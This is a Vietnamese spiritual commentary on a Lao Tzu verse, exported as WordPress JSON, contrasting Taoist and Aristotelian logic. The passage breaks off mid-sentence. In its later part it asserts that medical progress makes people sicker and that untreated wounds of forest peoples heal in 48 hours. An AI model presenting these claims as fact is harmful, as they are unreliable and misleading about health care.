{"id":4287,"date":"2024-09-19T07:58:50","date_gmt":"2024-09-19T00:58:50","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=4287"},"modified":"2024-12-21T00:12:01","modified_gmt":"2024-12-20T17:12:01","slug":"kho-va-de-cung-thanh-dai-va-ngan-cung-hinh","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=4287","title":{"rendered":"Kh\u00f3 v\u00e0 d\u1ec5 c\u00f9ng th\u00e0nh, d\u00e0i v\u00e0 ng\u1eafn c\u00f9ng h\u00ecnh"},"content":{"rendered":"<p><em>Nan D\u1ecb t\u01b0\u01a1ng th\u00e0nh,<\/em><\/p>\n<p><em>Tr\u01b0\u1eddng \u0110o\u1ea3n t\u01b0\u01a1ng h\u00ecnh,<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><em>Kh\u00f3 v\u00e0 D\u1ec5 c\u00f9ng th\u00e0nh,<\/em><\/p>\n<p><em>D\u00e0i v\u00e0 Ng\u1eafn c\u00f9ng h\u00ecnh,<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>L\u00e3o T\u1eed n\u00f3i &#8220;<em>Kh\u00f3 v\u00e0 d\u1ec5 c\u00f9ng th\u00e0nh &#8211; <\/em>T\u00ednh gi\u1ea3n d\u1ecb v\u00e0 t\u00ednh ph\u1ee9c t\u1ea1p cho sinh ra s\u1ef1 h\u1ed7 tr\u1ee3 l\u1eabn nhau.&#8221; N\u1ebfu b\u1ea1n \u0111i t\u1edbi bi\u1ebft r\u1eb1ng b\u1ea1n l\u00e0 gi\u1ea3n d\u1ecb, th\u1ebf th\u00ec bi\u1ebft ch\u1eafc ch\u1eafn b\u1ea1n \u0111\u00e3 tr\u1edf th\u00e0nh ph\u1ee9c t\u1ea1p. N\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y b\u1ea1n \u0111\u00e3 tr\u1edf th\u00e0nh b\u1ea5t b\u1ea1o h\u00e0nh, bi\u1ebft r\u1eb1ng b\u1ea1o h\u00e0nh c\u1ee7a b\u1ea1n \u0111\u00e3 tr\u1edf n\u00ean m\u1ea1nh v\u00e0 ch\u1eafc. N\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y b\u1ea1n \u0111\u00e3 \u0111\u1ea1t t\u1edbi v\u00f4 d\u1ee5c, bi\u1ebft r\u1eb1ng b\u1ea1n \u0111\u00e3 ng\u00e3 v\u00e0o v\u1ef1c th\u1eb3m c\u1ee7a d\u00e2m d\u1ee5c. N\u1ebfu b\u1ea1n tuy\u00ean b\u1ed1 b\u1ea1n \u0111\u00e3 \u0111\u1ea1t t\u1edbi Th\u01b0\u1ee3ng \u0111\u1ebf, bi\u1ebft r\u1eb1ng b\u1ea1n \u0111\u00e3 b\u1ecf l\u1ee1 Ng\u00e0i. M\u1ecdi tuy\u00ean b\u1ed1 bao gi\u1edd c\u0169ng d\u00e0nh cho c\u00e1i \u0111\u1ed1i l\u1eadp. V\u00e0 b\u1ea1n kh\u00f4ng th\u1ec3 tho\u00e1t kh\u1ecfi c\u00e1i \u0111\u1ed1i l\u1eadp. Do \u0111\u00f3 t\u00ednh gi\u1ea3n d\u1ecb kh\u00f4ng \u0111\u01b0\u1ee3c tuy\u00ean b\u1ed1. Ng\u01b0\u1eddi l\u00e0 gi\u1ea3n d\u1ecb th\u00ec kh\u00f4ng nh\u1eadn bi\u1ebft v\u1ec1 s\u1ef1 gi\u1ea3n d\u1ecb c\u1ee7a m\u00ecnh.<\/p>\n<p>Hi\u1ec3u \u0111i\u1ec1u \u0111\u00f3 theo c\u00e1ch n\u00e0y: Khi b\u1ea1n m\u1ea1nh v\u00e0 kho\u1ebb, b\u1ea1n kh\u00f4ng nh\u1eadn bi\u1ebft ch\u00fat n\u00e0o v\u1ec1 m\u1ea1nh kho\u1ebb. Ch\u1ec9 ng\u01b0\u1eddi \u1ed1m nh\u1eadn bi\u1ebft v\u1ec1 kho\u1ebb. \u0110i\u1ec1u n\u00e0y d\u01b0\u1eddng nh\u01b0 m\u00e2u thu\u1eabn nh\u01b0ng t\u1ea5t c\u1ea3 \u0111\u1ec1u l\u00e0 \u0111\u00fang. Khi b\u1ea1n tuy\u1ec7t \u0111\u1ed1i kho\u1ebb, b\u1ea1n kh\u00f4ng bi\u1ebft v\u1ec1 kho\u1ebb. Khi \u1ed1m b\u1ec7nh g\u00f5 c\u1eeda b\u1ea1n, b\u1ea1n tr\u1edf th\u00ean \u00fd th\u1ee9c v\u1ec1 kho\u1ebb. Ch\u1ec9 ng\u01b0\u1eddi \u1ed1m b\u1ec7nh \u00fd th\u1ee9c v\u1ec1 th\u00e2n th\u1ec3 c\u1ee7a h\u1ecd. Do \u0111\u00f3 trong Ayurveda, ch\u1ec9 b\u00e1o v\u1ec1 ng\u01b0\u1eddi kho\u1ebb l\u00e0 vi\u1ec7c c\u1ea3m th\u1ea5y kh\u00f4ng c\u00f3 Th\u01b0\u1ee3ng \u0111\u1ebf. Ng\u01b0\u1eddi \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 kho\u1ebb l\u00e0 ng\u01b0\u1eddi kh\u00f4ng nh\u1eadn bi\u1ebft v\u1ec1 th\u00e2n th\u1ec3 c\u1ee7a m\u00ecnh. N\u1ebfu ng\u01b0\u1eddi \u0111\u00f3 nh\u1eadn bi\u1ebft v\u1ec1 th\u00e2n th\u1ec3, th\u1ebf th\u00ec ng\u01b0\u1eddi \u0111\u00f3 l\u00e0 \u1ed1m. Th\u1ef1c ra, ngay khi b\u1ea1n tr\u1edf n\u00ean \u00fd th\u1ee9c v\u1ec1 ph\u1ea7n n\u00e0o \u0111\u00f3 c\u1ee7a th\u00e2n th\u1ec3 c\u1ee7a b\u1ea1n, ph\u1ea7n \u0111\u00f3 \u0111ang b\u1ecb \u1ed1m. N\u1ebfu b\u1ea1n tr\u1edf n\u00ean nh\u1eadn bi\u1ebft v\u1ec1 b\u1ee5ng, b\u1ee5ng b\u1ea1n \u0111ang b\u1ecb r\u1ed1i lo\u1ea1n. N\u1ebfu b\u1ea1n tr\u1edf n\u00ean nh\u1eadn bi\u1ebft v\u1ec1 \u0111\u1ea7u, \u0111\u1ea7u b\u1ea1n \u0111ang b\u1ecb \u0111au. B\u1ea1n \u0111\u00e3 bao gi\u1edd nh\u1eadn bi\u1ebft v\u1ec1 \u0111\u1ea7u m\u00e0 kh\u00f4ng b\u1ecb \u0111au \u0111\u1ea7u kh\u00f4ng? N\u1ebfu b\u1ea1n nh\u1eadn bi\u1ebft ch\u00fat x\u00edu th\u00f4i, \u1ed1m \u0111ang hi\u1ec7n di\u1ec7n trong ph\u1ea7n \u0111\u00f3. Kho\u1ebb l\u00e0 tr\u1ea1ng th\u00e1i t\u1ef1 nhi\u00ean. N\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 nh\u1eadn bi\u1ebft v\u1ec1 b\u1ea5t k\u00ec c\u00e1i g\u00ec.<\/p>\n<p>Khi ng\u01b0\u1eddi ta th\u1ef1c s\u1ef1 tr\u1edf th\u00e0nh gi\u1ea3n d\u1ecb, ng\u01b0\u1eddi ta kh\u00f4ng nh\u1eadn bi\u1ebft v\u1ec1 s\u1ef1 ki\u1ec7n r\u1eb1ng ng\u01b0\u1eddi ta \u0111\u00e3 tr\u1edf th\u00e0nh gi\u1ea3n d\u1ecb. Ng\u01b0\u1eddi \u0111\u00f3 tr\u1edf th\u00e0nh gi\u1ea3n d\u1ecb t\u1edbi m\u1ee9c n\u1ebfu b\u1ea5t k\u00ec ai t\u1edbi v\u00e0 b\u1ea3o ng\u01b0\u1eddi \u0111\u00f3 r\u1eb1ng ng\u01b0\u1eddi \u0111\u00f3 d\u01b0\u1eddng nh\u01b0 l\u00e0 ng\u01b0\u1eddi ph\u1ee9c t\u1ea1p, ng\u01b0\u1eddi \u0111\u00f3 s\u1eb5n s\u00e0ng \u0111\u1ed3ng \u00fd. Ng\u01b0\u1eddi \u0111\u00f3 \u0111\u1ea1t t\u1edbi Th\u01b0\u1ee3ng \u0111\u1ebf v\u00e0 \u0111\u01b0\u1ee3c h\u1ed9i nh\u1eadp nhi\u1ec1u v\u00e0o Ng\u00e0i t\u1edbi m\u1ee9c n\u1ebfu b\u1ea5t k\u00ec ng\u01b0\u1eddi n\u00e0o b\u1ea3o ng\u01b0\u1eddi \u0111\u00f3 r\u1eb1ng ng\u01b0\u1eddi \u0111\u00f3 ch\u1eb3ng bi\u1ebft g\u00ec, ng\u01b0\u1eddi \u0111\u00f3 s\u1eb5n s\u00e0ng \u0111\u1ed3ng \u00fd. Ng\u01b0\u1eddi \u0111\u00f3 tr\u1edf th\u00e0nh b\u1ea5t b\u1ea1o h\u00e0nh t\u1edbi m\u1ee9c ng\u01b0\u1eddi \u0111\u00f3 kh\u00f4ng \u00fd th\u1ee9c v\u1ec1 b\u1ea5t b\u1ea1o h\u00e0nh c\u1ee7a m\u00ecnh, v\u00ec \u00fd ngh\u0129 n\u00e0y ch\u1ec9 c\u00f3 th\u1ec3 t\u1edbi v\u1edbi ng\u01b0\u1eddi b\u1ea1o h\u00e0nh.<\/p>\n<p>Theo c\u00f9ng c\u00e1ch n\u00e0y, v\u1eadt to v\u00e0 v\u1eadt nh\u1ecf t\u1ea1o h\u00ecnh d\u1ea1ng cho nhau. V\u1eadt to c\u00f3 v\u1ebb l\u1edbn v\u00e0 v\u1eadt nh\u1ecf c\u00f3 v\u1ebb b\u00e9. V\u0169 tr\u1ee5 d\u01b0\u1eddng nh\u01b0 kh\u1ed5ng l\u1ed3 v\u00e0 nguy\u00ean t\u1eed d\u01b0\u1eddng nh\u01b0 l\u00e0 v\u1eadt nh\u1ecf; nh\u01b0ng ch\u00ednh vi\u1ec7c k\u1ebft h\u1ee3p c\u00e1c nguy\u00ean t\u1eed h\u00ecnh th\u00e0nh ra v\u0169 tr\u1ee5. B\u1ecf c\u00e1c nguy\u00ean t\u1eed \u0111i v\u00e0 v\u0169 tr\u1ee5 kh\u00f4ng c\u00f3 \u1edf \u0111\u00e2u c\u1ea3. B\u1ecf gi\u1ecdt n\u01b0\u1edbc v\u00e0 \u0111\u1ea1i d\u01b0\u01a1ng s\u1ebd kh\u00f4ng c\u00f2n n\u1eefa, m\u1eb7c d\u1ea7u \u0111\u1ea1i d\u01b0\u01a1ng kh\u00f4ng bi\u1ebft r\u1eb1ng ch\u00ednh t\u1eeb gi\u1ecdt n\u01b0\u1edbc m\u00e0 n\u00f3 \u0111\u01b0\u1ee3c sinh ra. \u0110\u1ea1i d\u01b0\u01a1ng kh\u00f4ng l\u00e0 g\u00ec ngo\u00e0i tuy\u1ec3n t\u1eadp c\u00e1c gi\u1ecdt n\u01b0\u1edbc; v\u00e0 n\u1ebfu t\u1eebng gi\u1ecdt n\u01b0\u1edbc \u0111i t\u1edbi h\u00ecnh th\u00e0nh ra \u0111\u1ea1i d\u01b0\u01a1ng, gi\u1ecdt n\u01b0\u1edbc c\u0169ng l\u00e0 \u0111\u1ea1i d\u01b0\u01a1ng thu nh\u1ecf. Gi\u1ecdt n\u01b0\u1edbc kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c m\u00f4 t\u1ea3 theo b\u1ea5t k\u00ec c\u00e1ch n\u00e0o kh\u00e1c. Cho n\u00ean s\u1ebd kh\u00f4ng sai n\u1ebfu ch\u00fang ta n\u00f3i r\u1eb1ng gi\u1ecdt n\u01b0\u1edbc l\u00e0 \u0111\u1ea1i d\u01b0\u01a1ng nh\u1ecf v\u00e0 \u0111\u1ea1i d\u01b0\u01a1ng l\u00e0 gi\u1ecdt n\u01b0\u1edbc l\u1edbn v\u00e0 \u0111i\u1ec1u n\u00e0y l\u00e0 r\u1ea5t g\u1ea7n ch\u00e2n l\u00ed.<\/p>\n<p>C\u00e1i m\u00e0 ch\u00fang ta g\u1ecdi l\u00e0 s\u1ef1 m\u1edf r\u1ed9ng, c\u00e1i m\u00e0 ch\u00fang ta g\u1ecdi l\u00e0 kh\u1ed5ng l\u1ed3, c\u00e1i m\u00e0 ch\u00fang ta g\u1ecdi l\u00e0 v\u0169 tr\u1ee5 \u0111\u1ec1u to\u00e0n l\u00e0 nguy\u00ean t\u1eed. Cho n\u00ean c\u00e1i ch\u00fang ta g\u1ecdi l\u00e0 v\u0169 tr\u1ee5 th\u00ec kh\u00f4ng l\u00e0 g\u00ec ngo\u00e0i nguy\u00ean t\u1eed, v\u00e0 c\u00e1i ch\u00fang ta g\u1ecdi l\u00e0 nguy\u00ean t\u1eed th\u00ec c\u0169ng l\u00e0 v\u0169 tr\u1ee5.<\/p>\n<p>&#8220;Kh\u00f4ng c\u00f3 kh\u00e1c bi\u1ec7t gi\u1eefa th\u00e2n th\u1ec3 v\u00e0 v\u0169 tr\u1ee5,&#8221; c\u00e1c hi\u1ec1n nh\u00e2n c\u1ee7a Upanishads n\u00f3i v\u1eady. &#8220;Kh\u00f4ng c\u00f3 kh\u00e1c bi\u1ec7t gi\u1eefa c\u00e1i l\u1edbn v\u00e0 c\u00e1i nh\u1ecf; m\u1ecdi th\u1ee9 v\u00e0 kh\u00f4ng c\u00e1i g\u00ec \u0111\u1ec1u l\u00e0 m\u1ed9t v\u00e0 c\u00f9ng m\u1ed9t.&#8221; L\u00e3o T\u1eed n\u00f3i, &#8220;M\u1ecdi kh\u00e1c bi\u1ec7t ch\u00fang ta \u00f4m gi\u1eef \u0111\u1ec1u kh\u00f4ng l\u00e0 g\u00ec nhi\u1ec1u h\u01a1n \u1ea3o t\u01b0\u1edfng.&#8221;<\/p>\n<p>N\u1ebfu ch\u00fang ta h\u1ecfi nh\u00e0 khoa h\u1ecdc, \u00f4ng \u1ea5y s\u1ebd \u0111\u1ed3ng \u00fd v\u1edbi L\u00e3o T\u1eed.<\/p>\n<p>B\u1ea1n s\u1ebd ng\u1ea1c nhi\u00ean m\u00e0 bi\u1ebft r\u1eb1ng nhi\u1ec1u nh\u00e0 khoa h\u1ecdc tr\u1ebb ph\u01b0\u01a1ng T\u00e2y b\u00e2y gi\u1edd r\u1ea5t quan t\u00e2m t\u1edbi L\u00e3o T\u1eed. H\u1ecd \u0111ang tranh c\u00e3i v\u1ec1 kh\u1ea3 n\u0103ng c\u1ee7a m\u1ed9t khoa h\u1ecdc m\u1edbi \u0111ang \u0111\u01b0\u1ee3c ti\u1ebfn ho\u00e1 tr\u00ean c\u01a1 s\u1edf c\u00e1c gi\u00e1o hu\u1ea5n c\u1ee7a L\u00e3o T\u1eed. M\u1ed9t nh\u00e0 t\u01b0 t\u01b0\u1edfng v\u00e0 to\u00e1n h\u1ecdc r\u1ea5t l\u1edbn \u0111\u00e3 vi\u1ebft m\u1ed9t cu\u1ed1n s\u00e1ch c\u00f3 t\u00ean &#8220;\u0110\u1ea1o v\u00e0 Khoa h\u1ecdc.&#8221; Li\u1ec7u m\u1ed9t khoa h\u1ecdc m\u1edbi to\u00e0n b\u1ed9 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c ti\u1ebfn ho\u00e1 ra t\u1eeb gi\u00e1o hu\u1ea5n c\u1ee7a L\u00e3o T\u1eed kh\u00f4ng?<\/p>\n<p>\u0110i\u1ec1u \u0111\u00f3 s\u1ebd l\u00e0 v\u00ec khoa h\u1ecdc c\u1ee7a ph\u01b0\u01a1ng T\u00e2y m\u00e3i t\u1edbi gi\u1edd, \u0111\u00e3 ti\u1ebfn ho\u00e1 tr\u00ean \u00fd th\u1ee9c h\u1ec7 Hi L\u1ea1p, \u0111i\u1ec1u ch\u1ea5p nh\u1eadn \u00fd t\u01b0\u1edfng t\u01b0\u01a1ng \u1ee9ng. M\u1ecdi khoa h\u1ecdc ph\u01b0\u01a1ng T\u00e2y \u0111\u1ec1u theo h\u01b0\u1edbng Aristotle. N\u00f3 d\u1ef1a tr\u00ean h\u1ecdc thuy\u1ebft c\u1ee7a Aristotle. Kh\u00f4ng c\u00f3 ng\u01b0\u1eddi \u0111\u1ed1i l\u1eadp n\u00e0o v\u1edbi Aristotle m\u00e0 v\u0129 \u0111\u1ea1i h\u01a1n L\u00e3o T\u1eed. \u00dd th\u1ee9c h\u1ec7 ph\u01b0\u01a1ng \u0110\u00f4ng l\u00e0 \u00fd th\u1ee9c h\u1ec7 c\u1ee7a L\u00e3o T\u1eed trong khi \u00fd th\u1ee9c h\u1ec7 ph\u01b0\u01a1ng T\u00e2y l\u00e0 \u00fd th\u1ee9c h\u1ec7 c\u1ee7a Aristotle.<\/p>\n<p>N\u1ebfu ch\u00fang ta hi\u1ec3u kh\u00e1c bi\u1ec7t gi\u1eefa h\u1ecd, ch\u00fang ta s\u1ebd c\u00f3 kh\u1ea3 n\u0103ng l\u0129nh h\u1ed9i t\u1ed1t h\u01a1n.<\/p>\n<p>Aristotle n\u00f3i, &#8220;T\u1ed1i l\u00e0 t\u1ed1i; s\u00e1ng l\u00e0 s\u00e1ng. C\u1ea3 hai l\u00e0 kh\u00e1c nhau v\u00e0 t\u00e1ch r\u1eddi. Kh\u00f4ng c\u00f3 \u0111i\u1ec3m g\u1eb7p g\u1ee1 gi\u1eefa hai \u0111i\u1ec1u n\u00e0y.&#8221; V\u00e0 \u00f4ng \u1ea5y n\u00f3i, &#8220;B\u1eb1ng ch\u1ee9ng n\u00e0y kh\u00f4ng y\u00eau c\u1ea7u ch\u1ee9ng minh.&#8221; Th\u1eafp s\u00e1ng \u0111\u00e8n v\u00e0 t\u1ed1i tan bi\u1ebfn. T\u1eaft \u0111\u00e8n \u0111i v\u00e0 kh\u00f4ng c\u00f3 g\u00ec ngo\u00e0i t\u1ed1i. Do \u0111\u00f3, suy ra r\u1eb1ng t\u1ed1i t\u1edbi trong thi\u1ebfu v\u1eafng s\u00e1ng v\u00e0 s\u00e1ng t\u1edbi trong thi\u1ebfu v\u1eafng c\u1ee7a t\u1ed1i. Cho n\u00ean Aristotle x\u00e1c nh\u1eadn r\u1eb1ng s\u00e1ng l\u00e0 s\u00e1ng v\u00e0 t\u1ed1i l\u00e0 t\u1ed1i v\u00e0 hai \u0111i\u1ec1u n\u00e0y kh\u00f4ng bao gi\u1edd g\u1eb7p g\u1ee1 \u1edf b\u1ea5t k\u00ec \u0111\u00e2u. Ch\u1ee7 \u0111i\u1ec3m c\u1ee7a \u00fd th\u1ee9c h\u1ec7 c\u1ee7a \u00f4ng \u1ea5y \u0111\u01b0\u1ee3c d\u1ef1a tr\u00ean \u0111i\u1ec1u n\u00e0y: A l\u00e0 A, B l\u00e0 B v\u00e0 A kh\u00f4ng th\u1ec3 l\u00e0 B.<\/p>\n<p>N\u1ebfu ch\u00fang ta mu\u1ed1n gi\u1ea3i th\u00edch \u00fd th\u1ee9c h\u1ec7 c\u1ee7a L\u00e3o T\u1eed trong ng\u00f4n ng\u1eef c\u1ee7a Aristotle n\u00f3 s\u1ebd gi\u1ed1ng th\u1ebf n\u00e0y: A l\u00e0 A v\u00e0 A c\u0169ng l\u00e0 B; v\u00e0 A kh\u00f4ng th\u1ec3 v\u1eabn l\u00e0 A, n\u1ebfu kh\u00f4ng tr\u1edf th\u00e0nh B. \u00dd th\u1ee9c h\u1ec7 c\u1ee7a Aristotle l\u00e0 \u00fd th\u1ee9c h\u1ec7 th\u1ec3 r\u1eafn. \u00dd th\u1ee9c h\u1ec7 c\u1ee7a L\u00e3o T\u1eed l\u00e0 \u00fd th\u1ee9c h\u1ec7 th\u1ec3 l\u1ecfng. L\u00e3o T\u1eed n\u00f3i, m\u1ecdi s\u1ef1 l\u00e0 trong tr\u1ea1ng th\u00e1i l\u1ecfng t\u1edbi m\u1ee9c ch\u00fang ch\u1ea3y v\u00e0o trong c\u00e1i \u0111\u1ed1i l\u1eadp v\u00e0 thay \u0111\u1ed5i. Thung l\u0169ng tr\u1edf th\u00e0nh \u0111\u1ec9nh n\u00fai v\u00e0 \u0111\u1ec9nh n\u00fai tr\u1edf th\u00e0nh thung l\u0169ng. S\u1ed1ng tr\u1edf th\u00e0nh ch\u1ebft v\u00e0 t\u1eeb ch\u1ebft, s\u1ed1ng l\u1ea1i ti\u1ebfn ho\u00e1. Tu\u1ed5i thanh ni\u00ean \u0111\u1ed5i th\u00e0nh tu\u1ed5i gi\u00e0 v\u00e0 tu\u1ed5i gi\u00e0 \u0111\u01b0\u1ee3c sinh ra trong tr\u1ebb con. Kh\u00f4ng, t\u1ed1i kh\u00f4ng l\u00e0 t\u1ed1i v\u00e0 s\u00e1ng kh\u00f4ng l\u00e0 s\u00e1ng. T\u1ed1i l\u00e0 d\u1ea1ng m\u1edd m\u1edd c\u1ee7a s\u00e1ng v\u00e0 s\u00e1ng l\u00e0 d\u1ea1ng ch\u00f3i l\u1ecdi c\u1ee7a t\u1ed1i. L\u00e3o T\u1eed hay Aristotle &#8211; tr\u1ea1ng th\u00e1i quy\u1ebft \u0111\u1ecbnh c\u1ee7a th\u1ebf gi\u1edbi ng\u00e0y nay l\u00e0 nh\u01b0 v\u1eady. Cho n\u00ean c\u00e1c nh\u00e0 khoa h\u1ecdc c\u1ee7a ph\u01b0\u01a1ng T\u00e2y ngh\u0129 r\u1eb1ng n\u1ebfu khoa h\u1ecdc \u0111\u01b0\u1ee3c ph\u00e1t minh tr\u00ean tr\u00ean c\u01a1 s\u1edf c\u1ee7a \u00fd th\u1ee9c h\u1ec7 c\u1ee7a L\u00e3o T\u1eed, n\u00f3 s\u1ebd c\u00f3 chi\u1ec1u kh\u00e1c to\u00e0n b\u1ed9. M\u00e3i cho t\u1edbi gi\u1edd, m\u1ecdi hi\u1ec3u bi\u1ebft c\u1ee7a h\u1ecd \u0111\u1ec1u d\u1ef1a tr\u00ean \u00fd th\u1ee9c h\u1ec7 Hi L\u1ea1p v\u00e0 Aristotle l\u00e0 cha \u0111\u1ebb c\u1ee7a \u00fd th\u1ee9c h\u1ec7 Hi L\u1ea1p. H\u1ecdc thuy\u1ebft c\u1ee7a \u00f4ng \u1ea5y \u0111\u00e3 \u0111\u01b0\u1ee3c ph\u00e1t tri\u1ec3n qua m\u1ed9t th\u1eddi k\u00ec hai ngh\u00ecn n\u0103m. Aristotle v\u00e0 Einstein l\u00e0 hai m\u00f3c x\u00edch c\u1ee7a c\u00f9ng m\u1ed9t d\u00e2y x\u00edch. Logic c\u1ee7a h\u1ecd, c\u00e1ch t\u01b0 duy c\u1ee7a h\u1ecd l\u00e0 nh\u01b0 nhau.<\/p>\n<p>L\u00e3o T\u1eed l\u00e0 \u0111\u1ed1i l\u1eadp tuy\u1ec7t \u0111\u1ed1i. N\u1ebfu L\u00e3o T\u1eed tr\u1edf th\u00e0nh cha c\u1ee7a khoa h\u1ecdc, n\u00f3 s\u1ebd l\u00e0 khoa h\u1ecdc ho\u00e0n to\u00e0n kh\u00e1c. Ch\u00fang ta kh\u00f4ng th\u1ec3 h\u00ecnh dung \u0111\u01b0\u1ee3c c\u00e1i nh\u00ecn c\u1ee7a n\u00f3 s\u1ebd l\u00e0 g\u00ec.<\/p>\n<p>Hi\u1ec3u \u0111i\u1ec1u \u0111\u00f3 theo c\u00e1ch n\u00e0y:<\/p>\n<p>N\u1ebfu Aristotle l\u00e0 \u0111\u00fang, ch\u00fang ta s\u1ebd c\u00f3 kh\u1ea3 n\u0103ng tri\u1ec7t ti\u00eau ch\u1ebft v\u00e0 g\u00ecn gi\u1eef s\u1ed1ng. Ch\u00fang ta c\u00e0ng tri\u1ec7t ti\u00eau ch\u1ebft, s\u1ed1ng s\u1ebd c\u00e0ng \u0111\u01b0\u1ee3c g\u00ecn gi\u1eef. N\u1ebfu m\u1ed9t ng\u00e0y n\u00e0o \u0111\u00f3 ch\u00fang ta th\u00e0nh c\u00f4ng trong vi\u1ec7c tri\u1ec7t ti\u00eau ch\u1ebft ho\u00e0n to\u00e0n, ch\u00fang ta s\u1ebd c\u00f3 kh\u1ea3 n\u0103ng g\u00ecn gi\u1eef s\u1ed1ng tuy\u1ec7t \u0111\u1ed1i. S\u1ebd c\u00f3 s\u1ed1ng v\u00e0 m\u1ed9t m\u00ecnh s\u1ed1ng.<\/p>\n<p>Nh\u01b0ng theo L\u00e3o T\u1eed, ch\u00ednh \u0111i\u1ec1u \u0111\u1ed1i l\u1eadp m\u1edbi hi\u1ec7n h\u1eefu. N\u1ebfu ch\u00fang ta tri\u1ec7t ti\u00eau ch\u1ebft, ch\u00fang ta ti\u00eau di\u1ec7t c\u1ea3 s\u1ed1ng n\u1eefa. N\u1ebfu ch\u1ebft ho\u00e0n to\u00e0n b\u1ecb tri\u1ec7t ti\u00eau, s\u1ed1ng s\u1ebd kh\u00f4ng c\u00f2n n\u1eefa. Ch\u00fang ta h\u00e3y xem x\u00e9t l\u1ea1i \u0111i\u1ec1u n\u00e0y m\u1ed9t c\u00e1ch \u0111\u00fang \u0111\u1eafn trong ho\u00e0n c\u1ea3nh \u0111ang x\u1ea3y ra ng\u00e0y nay. B\u00e2y gi\u1edd \u0111i\u1ec1u n\u00e0y l\u00e0 th\u00fa v\u1ecb r\u1eb1ng ch\u00fang ta c\u00e0ng t\u00ecm ra nhi\u1ec1u c\u00e1ch ch\u1eefa b\u1ec7nh cho \u1ed1m b\u1ec7nh c\u1ee7a con ng\u01b0\u1eddi, con ng\u01b0\u1eddi c\u00e0ng tr\u1edf n\u00ean \u1ed1m b\u1ec7nh h\u01a1n. M\u1ea1nh kho\u1ebb c\u1ee7a con ng\u01b0\u1eddi \u0111\u00e3 kh\u00f4ng \u0111\u01b0\u1ee3c c\u1ea3i thi\u1ec7n b\u1edfi ti\u1ebfn b\u1ed9 c\u1ee7a y h\u1ecdc.<\/p>\n<p>V\u00e0o th\u1eddi c\u1ee7a L\u00e3o T\u1eed \u0111\u00e3 kh\u00f4ng c\u00f3 nhi\u1ec1u c\u00e1ch ch\u1eefa b\u1ec7nh \u0111\u1ec3 tranh \u0111\u1ea5u v\u1edbi b\u1ec7nh, nh\u01b0 c\u00e1ch ch\u1eefa b\u1ec7nh ng\u00e0y nay. Ngay c\u1ea3 ng\u00e0y nay, ng\u01b0\u1eddi Adivasis trong r\u1eebng r\u1eadm kh\u00f4ng c\u00f3 nhi\u1ec1u thu\u1ed1c \u0111\u1ec3 tranh \u0111\u1ea5u v\u1edbi b\u1ec7nh; nh\u01b0ng h\u1ecd m\u1ea1nh kho\u1ebb h\u01a1n ch\u00fang ta nhi\u1ec1u. B\u1eb1ng ch\u1ee9ng v\u1ec1 m\u1ea1nh kho\u1ebb c\u1ee7a h\u1ecd th\u1eadt \u0111\u00e1ng ng\u1ea1c nhi\u00ean. Ng\u01b0\u1eddi ta n\u00f3i r\u1eb1ng \u1edf r\u1eebng r\u1eadm ch\u00e2u Phi c\u00f3 nh\u1eefng ng\u01b0\u1eddi v\u00f4 v\u0103n minh m\u00e0 v\u1ebft th\u01b0\u01a1ng c\u1ee7a h\u1ecd ch\u1eefa l\u00e0nh trong 48 gi\u1edd, kh\u00f4ng c\u00f3 b\u1ea5t k\u00ec \u0111i\u1ec1u tr\u1ecb n\u00e0o! Chi\u1ebfc r\u00ecu r\u01a1i v\u00e0o ch\u00e2n, v\u1ebft th\u01b0\u01a1ng l\u00e0nh trong v\u00f2ng 48 gi\u1edd. C\u00e1c nh\u00e0 khoa h\u1ecdc n\u00f3i, m\u1ea1nh kho\u1ebb c\u1ee7a h\u1ecd l\u00e0 kh\u00f4ng ai v\u01b0\u1ee3t qua \u0111\u01b0\u1ee3c. H\u1ecd \u0111\u1ea7y s\u1ee9c s\u1ed1ng th\u1ebf v\u00e0 s\u1ee9c s\u1ed1ng n\u00e0y nhanh ch\u00f3ng \u0111\u1ed5 \u0111\u1ea7y v\u00e0o v\u1ebft th\u01b0\u01a1ng &#8211; kh\u00f4ng c\u00f3 b\u1ea5t k\u00ec \u0111i\u1ec1u tr\u1ecb n\u00e0o hay c\u00e1ch ch\u1eefa n\u00e0o m\u00e0 h\u1ecd bi\u1ebft. H\u1ecd c\u00f3 th\u1ec3 bu\u1ed9c l\u00e1 l\u00ean n\u00f3, \u0111i\u1ec1u c\u00f3 th\u1ec3 kh\u00f4ng c\u00f3 ngh\u0129a g\u00ec v\u1ec1 y h\u1ecdc. Ng\u01b0\u1eddi Adivasi hay ng\u01b0\u1eddi trong r\u1eebng r\u1eadm ch\u00e2u Phi b\u1ecb bao quanh t\u1ee9 ph\u00eda b\u1edfi \u1ed1m b\u1ec7nh. Ng\u01b0\u1eddi \u0111\u00f3 kh\u00f4ng c\u00f3 ph\u01b0\u01a1ng ti\u1ec7n thu\u1ed1c men hay nghi\u00ean c\u1ee9u \u00fd t\u1ebf, v\u1eady m\u00e0 m\u1ea1nh kho\u1ebb c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 l\u00e0 phi th\u01b0\u1eddng!<\/p>\n<p>L\u00e3o T\u1eed c\u00f3 th\u1ec3 \u0111\u00fang. \u00d4ng \u1ea5y n\u00f3i, b\u1ea1n c\u00e0ng c\u1ed1 xo\u00e1 \u1ed1m b\u1ec7nh, b\u1ea1n s\u1ebd c\u00e0ng ph\u00e1 hu\u1ef7 m\u1ea1nh kho\u1ebb h\u01a1n. N\u1ebfu v\u0169 tr\u1ee5 kh\u0103ng kh\u0103ng \u0111\u00f2i nh\u1ecb nguy\u00ean, n\u1ebfu b\u1ea1n b\u1ecf g\u1ea1ch kh\u1ecfi ph\u00eda n\u00e0y, g\u1ea1ch \u0111\u1ed1i l\u1eadp \u1edf ph\u00eda kia nh\u1ea5t \u0111\u1ecbnh s\u1ee5p \u0111\u1ed5. B\u00e2y gi\u1edd c\u00e1c nh\u00e0 khoa h\u1ecdc ph\u01b0\u01a1ng T\u00e2y \u0111\u00e3 b\u1eaft \u0111\u1ea7u chuy\u00ean t\u00e2m v\u00e0o L\u00e3o T\u1eed v\u00ec h\u1ecd c\u1ea3m th\u1ea5y 